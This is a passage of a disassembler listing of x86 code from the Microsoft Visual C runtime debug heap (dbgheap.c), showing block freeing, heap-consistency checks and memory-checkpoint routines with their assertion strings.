; sub_41CCE0+1C1j
mov ecx, [ebp+Dst]
cmp dword ptr [ecx+14h], 3
jnz short loc_41CF5B
loc_41CEEF: ; CODE XREF: sub_41CCE0+249j
mov edx, [ebp+Dst]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_41CF04
mov eax, [ebp+Dst]
cmp dword ptr [eax+18h], 0
jz short loc_41CF25
loc_41CF04: ; CODE XREF: sub_41CCE0+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0 ; int
push 42Fh ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41CF25
int 3 ; Trap to Debugger
loc_41CF25: ; CODE XREF: sub_41CCE0+222j
; sub_41CCE0+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_41CEEF
mov edx, [ebp+Dst]
mov eax, [edx+10h]
add eax, 24h
push eax ; Size
xor ecx, ecx
mov cl, byte_4518FD
push ecx ; Val
mov edx, [ebp+Dst]
push edx ; Dst
call _memset
add esp, 0Ch
mov eax, [ebp+Dst]
push eax
call sub_423F30
add esp, 4
jmp loc_41D0C5
; ---------------------------------------------------------------------------
loc_41CF5B: ; CODE XREF: sub_41CCE0+20Dj
mov ecx, [ebp+Dst]
cmp dword ptr [ecx+14h], 2
jnz short loc_41CF71
cmp [ebp+arg_4], 1
jnz short loc_41CF71
mov [ebp+arg_4], 2
loc_41CF71: ; CODE XREF: sub_41CCE0+282j
; sub_41CCE0+288j ...
mov edx, [ebp+Dst]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41CF9D
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0 ; int
push 43Ch ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41CF9D
int 3 ; Trap to Debugger
loc_41CF9D: ; CODE XREF: sub_41CCE0+29Aj
; sub_41CCE0+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CF71
mov edx, [ebp+Dst]
mov eax, dword_4F3500
sub eax, [edx+10h]
mov dword_4F3500, eax
mov ecx, dword_4518F0
and ecx, 2
test ecx, ecx
jnz loc_41D09C
mov edx, [ebp+Dst]
cmp dword ptr [edx], 0
jz short loc_41CFDC
mov eax, [ebp+Dst]
mov ecx, [eax]
mov edx, [ebp+Dst]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_41D01A
; ---------------------------------------------------------------------------
loc_41CFDC: ; CODE XREF: sub_41CCE0+2EAj
; sub_41CCE0+32Cj
mov ecx, dword_4F34F4
cmp ecx, [ebp+Dst]
jz short loc_41D008
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0 ; int
push 44Bh ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D008
int 3 ; Trap to Debugger
loc_41D008: ; CODE XREF: sub_41CCE0+305j
; sub_41CCE0+325j
xor edx, edx
test edx, edx
jnz short loc_41CFDC
mov eax, [ebp+Dst]
mov ecx, [eax+4]
mov dword_4F34F4, ecx
loc_41D01A: ; CODE XREF: sub_41CCE0+2FAj
mov edx, [ebp+Dst]
cmp dword ptr [edx+4], 0
jz short loc_41D032
mov eax, [ebp+Dst]
mov ecx, [eax+4]
mov edx, [ebp+Dst]
mov eax, [edx]
mov [ecx], eax
jmp short loc_41D06F
; ---------------------------------------------------------------------------
loc_41D032: ; CODE XREF: sub_41CCE0+341j
; sub_41CCE0+382j
mov ecx, dword_4F34FC
cmp ecx, [ebp+Dst]
jz short loc_41D05E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0 ; int
push 455h ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D05E
int 3 ; Trap to Debugger
loc_41D05E: ; CODE XREF: sub_41CCE0+35Bj
; sub_41CCE0+37Bj
xor edx, edx
test edx, edx
jnz short loc_41D032
mov eax, [ebp+Dst]
mov ecx, [eax]
mov dword_4F34FC, ecx
loc_41D06F: ; CODE XREF: sub_41CCE0+350j
mov edx, [ebp+Dst]
mov eax, [edx+10h]
add eax, 24h
push eax ; Size
xor ecx, ecx
mov cl, byte_4518FD
push ecx ; Val
mov edx, [ebp+Dst]
push edx ; Dst
call _memset
add esp, 0Ch
mov eax, [ebp+Dst]
push eax
call sub_423F30
add esp, 4
jmp short loc_41D0C5
; ---------------------------------------------------------------------------
loc_41D09C: ; CODE XREF: sub_41CCE0+2DEj
mov ecx, [ebp+Dst]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+Dst]
mov eax, [edx+10h]
push eax ; Size
xor ecx, ecx
mov cl, byte_4518FD
push ecx ; Val
mov edx, [ebp+Dst]
add edx, 20h
push edx ; Dst
call _memset
add esp, 0Ch
loc_41D0C5: ; CODE XREF: sub_41CCE0+49j
; sub_41CCE0+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CCE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41D0F0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0F0 proc near ; CODE XREF: .text:0041D0D9p
; __onexit+11p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041D26C SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C928
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi ; char
mov eax, dword_4518F0
and eax, 4
test eax, eax
jz short loc_41D14F
loc_41D11F: ; CODE XREF: sub_41D0F0+5Dj
call sub_41D430
test eax, eax
jnz short loc_41D149
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0 ; int
push 49Dh ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D149
int 3 ; Trap to Debugger
loc_41D149: ; CODE XREF: sub_41D0F0+36j
; sub_41D0F0+56j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D11F
loc_41D14F: ; CODE XREF: sub_41D0F0+2Dj
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
loc_41D160: ; CODE XREF: sub_41D0F0+A5j
mov edx, [ebp+arg_0]
push edx
call sub_41D910
add esp, 4
test eax, eax
jnz short loc_41D191
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0 ; int
push 4A9h ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D191
int 3 ; Trap to Debugger
loc_41D191: ; CODE XREF: sub_41D0F0+7Ej
; sub_41D0F0+9Ej
xor eax, eax
test eax, eax
jnz short loc_41D160
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_20], ecx
loc_41D1A0: ; CODE XREF: sub_41D0F0+107j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41D1F3
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 1
jz short loc_41D1F3
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41D1F3
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_41D1F3
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0 ; int
push 4AFh ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D1F3
int 3 ; Trap to Debugger
loc_41D1F3: ; CODE XREF: sub_41D0F0+BEj
; sub_41D0F0+C7j ...
xor edx, edx
test edx, edx
jnz short loc_41D1A0
mov eax, [ebp+var_20]
cmp dword ptr [eax+14h], 2
jnz short loc_41D20F
cmp [ebp+arg_4], 1
jnz short loc_41D20F
mov [ebp+arg_4], 2
loc_41D20F: ; CODE XREF: sub_41D0F0+110j
; sub_41D0F0+116j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_41D24A
loc_41D218: ; CODE XREF: sub_41D0F0+158j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41D244
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0 ; int
push 4B6h ; Value
push offset aDbgheap_c ; "dbgheap.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41D244
int 3 ; Trap to Debugger
loc_41D244: ; CODE XREF: sub_41D0F0+131j
; sub_41D0F0+151j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D218
loc_41D24A: ; CODE XREF: sub_41D0F0+126j
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41D261
jmp short loc_41D26C
sub_41D0F0 endp
; =============== S U B R O U T I N E =======================================
sub_41D261 proc near ; CODE XREF: sub_41D0F0+16Ap
; DATA XREF: .rdata:0043C930o
push 9
call __unlock
add esp, 4
retn
sub_41D261 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D0F0
loc_41D26C: ; CODE XREF: sub_41D0F0+16Fj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41D0F0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, dword_4518F8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4518F8, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [000000BD BYTES: COLLAPSED FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D35D. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, off_451CC0
mov [ebp-4], eax
mov ecx, [ebp+8]
mov off_451CC0, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _CheckBytes. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D430 proc near ; CODE XREF: __heap_alloc_dbg:loc_41C1FCp
; _realloc_help:loc_41C6B2p ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041D7B0 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CAC0
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov eax, dword_4518F0
and eax, 1
test eax, eax
jnz short loc_41D469
mov eax, 1
jmp loc_41D7B3
; ---------------------------------------------------------------------------
loc_41D469: ; CODE XREF: sub_41D430+2Dj
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
mov [ebp+var_24], eax
cmp [ebp+var_24], 0FFFFFFFFh
jz loc_41D58E
cmp [ebp+var_24], 0FFFFFFFEh
jz loc_41D58E
mov ecx, [ebp+var_24]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
add edx, 6
mov [ebp+var_30], edx
cmp [ebp+var_30], 3
ja loc_41D55C
mov eax, [ebp+var_30]
jmp ds:off_41D7C4[eax*4]
loc_41D4B9: ; CODE XREF: sub_41D430+ADj
; DATA XREF: .text:0041D7D0o
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D4D9
int 3 ; Trap to Debugger
loc_41D4D9: ; CODE XREF: sub_41D430+A6j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D4B9
jmp loc_41D582
; ---------------------------------------------------------------------------
loc_41D4E4: ; CODE XREF: sub_41D430+82j
; sub_41D430+D8j
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D504
int 3 ; Trap to Debugger
loc_41D504: ; CODE XREF: sub_41D430+D1j
xor edx, edx
test edx, edx
jnz short loc_41D4E4
jmp short loc_41D582
; ---------------------------------------------------------------------------
loc_41D50C: ; CODE XREF: sub_41D430+82j
; sub_41D430+100j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D52C
int 3 ; Trap to Debugger
loc_41D52C: ; CODE XREF: sub_41D430+F9j
xor eax, eax
test eax, eax
jnz short loc_41D50C
jmp short loc_41D582
; ---------------------------------------------------------------------------
loc_41D534: ; CODE XREF: sub_41D430+82j
; sub_41D430+128j
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D554
int 3 ; Trap to Debugger
loc_41D554: ; CODE XREF: sub_41D430+121j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D534
jmp short loc_41D582
; ---------------------------------------------------------------------------
loc_41D55C: ; CODE XREF: sub_41D430+79j
; sub_41D430+150j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D57C
int 3 ; Trap to Debugger
loc_41D57C: ; CODE XREF: sub_41D430+149j
xor edx, edx
test edx, edx
jnz short loc_41D55C
loc_41D582: ; CODE XREF: sub_41D430+AFj
; sub_41D430+DAj ...
mov [ebp+var_1C], 0
jmp loc_41D797
; ---------------------------------------------------------------------------
loc_41D58E: ; CODE XREF: sub_41D430+56j
; sub_41D430+60j
mov [ebp+var_1C], 1
mov eax, dword_4F34FC
mov [ebp+var_20], eax
jmp short loc_41D5A7
; ---------------------------------------------------------------------------
loc_41D59F: ; CODE XREF: sub_41D430:loc_41D792j
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+var_20], edx
loc_41D5A7: ; CODE XREF: sub_41D430+16Dj
cmp [ebp+var_20], 0
jz loc_41D797
mov [ebp+var_28], 1
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41D5EC
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 1
jz short loc_41D5EC
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41D5EC
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 3
jnz short loc_41D604
loc_41D5EC: ; CODE XREF: sub_41D430+197j
; sub_41D430+1A0j ...
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_451900[ecx*4]
mov dword ptr [ebp+var_2C], edx
jmp short loc_41D60B
; ---------------------------------------------------------------------------
loc_41D604: ; CODE XREF: sub_41D430+1BAj
mov dword ptr [ebp+var_2C], offset aDamaged ; "DAMAGED"
loc_41D60B: ; CODE XREF: sub_41D430+1D2j
push 4
mov al, byte_4518FC
push eax
mov ecx, [ebp+var_20]
add ecx, 1Ch
push ecx
call _CheckBytes
add esp, 0Ch
test eax, eax
jnz short loc_41D660
loc_41D626: ; CODE XREF: sub_41D430+227j
mov edx, [ebp+var_20]
add edx, 20h
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+18h]
push ecx
mov edx, dword ptr [ebp+var_2C]
push edx ; char
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41D653
int 3 ; Trap to Debugger
loc_41D653: ; CODE XREF: sub_41D430+220j
xor eax, eax
test eax, eax
jnz short loc_41D626
mov [ebp+var_28], 0
loc_41D660: ; CODE XREF: sub_41D430+1F4j
push 4
mov cl, byte_4518FC
push ecx
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov ecx, [ebp+var_20]
lea edx, [ecx+eax+20h]
push edx
call _CheckBytes
add esp, 0Ch
test eax, eax
jnz short loc_41D6BD
loc_41D683: ; CODE XREF: sub_41D430+284j
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, [ebp+var_20]
mov edx, [ecx+18h]
push edx
mov eax, dword ptr [ebp+var_2C]
push eax ; char
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41D6B0
int 3 ; Trap to Debugger
loc_41D6B0: ; CODE XREF: sub_41D430+27Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_41D683
mov [ebp+var_28], 0
loc_41D6BD: ; CODE XREF: sub_41D430+251j
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 0
jnz short loc_41D716
mov eax, [ebp+var_20]
mov ecx, [eax+10h]
push ecx
mov dl, byte_4518FD
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
call _CheckBytes
add esp, 0Ch
test eax, eax
jnz short loc_41D716
loc_41D6E7: ; CODE XREF: sub_41D430+2DDj
mov ecx, [ebp+var_20]
add ecx, 20h
push ecx ; char
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41D709
int 3 ; Trap to Debugger
loc_41D709: ; CODE XREF: sub_41D430+2D6j
xor edx, edx
test edx, edx
jnz short loc_41D6E7
mov [ebp+var_28], 0
loc_41D716: ; CODE XREF: sub_41D430+294j
; sub_41D430+2B5j
cmp [ebp+var_28], 0
jnz short loc_41D792
mov eax, [ebp+var_20]
cmp dword ptr [eax+8], 0
jz short loc_41D758
loc_41D725: ; CODE XREF: sub_41D430+326j
mov ecx, [ebp+var_20]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+8]
push ecx
mov edx, dword ptr [ebp+var_2C]
push edx ; char
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41D752
int 3 ; Trap to Debugger
loc_41D752: ; CODE XREF: sub_41D430+31Fj
xor eax, eax
test eax, eax
jnz short loc_41D725
loc_41D758: ; CODE XREF: sub_41D430+2F3j
; sub_41D430+359j
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, dword ptr [ebp+var_2C]
push ecx ; char
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 20h
cmp eax, 1
jnz short loc_41D785
int 3 ; Trap to Debugger
loc_41D785: ; CODE XREF: sub_41D430+352j
xor edx, edx
test edx, edx
jnz short loc_41D758
mov [ebp+var_1C], 0
loc_41D792: ; CODE XREF: sub_41D430+2EAj
jmp loc_41D59F
; ---------------------------------------------------------------------------
loc_41D797: ; CODE XREF: sub_41D430+159j
; sub_41D430+17Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_41D7A5
jmp short loc_41D7B0
sub_41D430 endp
; =============== S U B R O U T I N E =======================================
sub_41D7A5 proc near ; CODE XREF: sub_41D430+36Ep
; DATA XREF: .rdata:0043CAC8o
push 9
call __unlock
add esp, 4
retn
sub_41D7A5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D430
loc_41D7B0: ; CODE XREF: sub_41D430+373j
mov eax, [ebp+var_1C]
loc_41D7B3: ; CODE XREF: sub_41D430+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41D430
; ---------------------------------------------------------------------------
off_41D7C4 dd offset loc_41D534 ; DATA XREF: sub_41D430+82r
dd offset loc_41D50C
dd offset loc_41D4E4
dd offset loc_41D4B9
align 10h
; [00000022 BYTES: COLLAPSED FUNCTION __CrtSetDbgFlag. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008D BYTES: COLLAPSED FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D89D. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004B BYTES: COLLAPSED FUNCTION __CrtIsValidPointer. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D910 proc near ; CODE XREF: _realloc_help+1AAp
; sub_41CCE0+9Cp ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
jnz short loc_41D923
xor eax, eax
jmp loc_41DA30
; ---------------------------------------------------------------------------
loc_41D923: ; CODE XREF: sub_41D910+Aj
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call __CrtIsValidPointer
add esp, 0Ch
test eax, eax
jnz short loc_41D941
xor eax, eax
jmp loc_41DA30
; ---------------------------------------------------------------------------
loc_41D941: ; CODE XREF: sub_41D910+28j
cmp dword_4F3BEC, 3
jnz short loc_41D9AE
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call ___sbh_find_block
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41D97A
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call ___sbh_verify_block
add esp, 8
jmp loc_41DA30
; ---------------------------------------------------------------------------
loc_41D97A: ; CODE XREF: sub_41D910+50j
mov ecx, dword_4F350C
and ecx, 8000h
test ecx, ecx
jz short loc_41D994
mov eax, 1
jmp loc_41DA30
; ---------------------------------------------------------------------------
loc_41D994: ; CODE XREF: sub_41D910+78j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, dword_4F3BE8
push eax
call ds:dword_4F5474 ; HeapValidate
jmp loc_41DA30
; ---------------------------------------------------------------------------
loc_41D9AE: ; CODE XREF: sub_41D910+38j
cmp dword_4F3BEC, 2
jnz short loc_41DA1A
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call ___sbh_find_block_0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_41D9ED
mov ecx, [ebp+var_C]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_41D9E9
mov eax, 1
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41D9E9: ; CODE XREF: sub_41D910+D0j
xor eax, eax
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41D9ED: ; CODE XREF: sub_41D910+C5j
mov eax, dword_4F350C
and eax, 8000h
test eax, eax
jz short loc_41DA02
mov eax, 1
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41DA02: ; CODE XREF: sub_41D910+E9j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
push 0
mov edx, dword_4F3BE8
push edx
call ds:dword_4F5474 ; HeapValidate
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41DA1A: ; CODE XREF: sub_41D910+A5j
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
push 0
mov ecx, dword_4F3BE8
push ecx
call ds:dword_4F5474 ; HeapValidate
loc_41DA30: ; CODE XREF: sub_41D910+Ej
; sub_41D910+2Cj ...
mov esp, ebp
pop ebp
retn
sub_41D910 endp
; ---------------------------------------------------------------------------
align 10h
; [00000106 BYTES: COLLAPSED FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41DB46. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4F4C38
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4F4C38, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB90 proc near ; CODE XREF: __CrtDumpMemoryLeaks+Dp
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041DD23 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CB38
push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41DBE4
loc_41DBB9: ; CODE XREF: sub_41DB90+4Dj
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_32 ; "%s"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41DBD9
int 3 ; Trap to Debugger
loc_41DBD9: ; CODE XREF: sub_41DB90+46j
xor eax, eax
test eax, eax
jnz short loc_41DBB9
jmp loc_41DD23
; ---------------------------------------------------------------------------
loc_41DBE4: ; CODE XREF: sub_41DB90+27j
push 9
call __lock
add esp, 4
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
mov edx, dword_4F34FC
mov [ecx], edx
mov [ebp+var_1C], 0
jmp short loc_41DC12
; ---------------------------------------------------------------------------
loc_41DC09: ; CODE XREF: sub_41DB90+A4j
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_41DC12: ; CODE XREF: sub_41DB90+77j
cmp [ebp+var_1C], 5
jge short loc_41DC36
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_41DC09
; ---------------------------------------------------------------------------
loc_41DC36: ; CODE XREF: sub_41DB90+86j
mov edx, dword_4F34FC
mov dword ptr [ebp+var_20], edx
jmp short loc_41DC49
; ---------------------------------------------------------------------------
loc_41DC41: ; CODE XREF: sub_41DB90:loc_41DCEDj
mov eax, dword ptr [ebp+var_20]
mov ecx, [eax]
mov dword ptr [ebp+var_20], ecx
loc_41DC49: ; CODE XREF: sub_41DB90+AFj
cmp dword ptr [ebp+var_20], 0
jz loc_41DCF2
mov edx, dword ptr [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_41DCC8
mov ecx, dword ptr [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_41DCC8
mov eax, dword ptr [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, dword ptr [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, dword ptr [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, dword ptr [ebp+var_20]
add edx, [eax+10h]
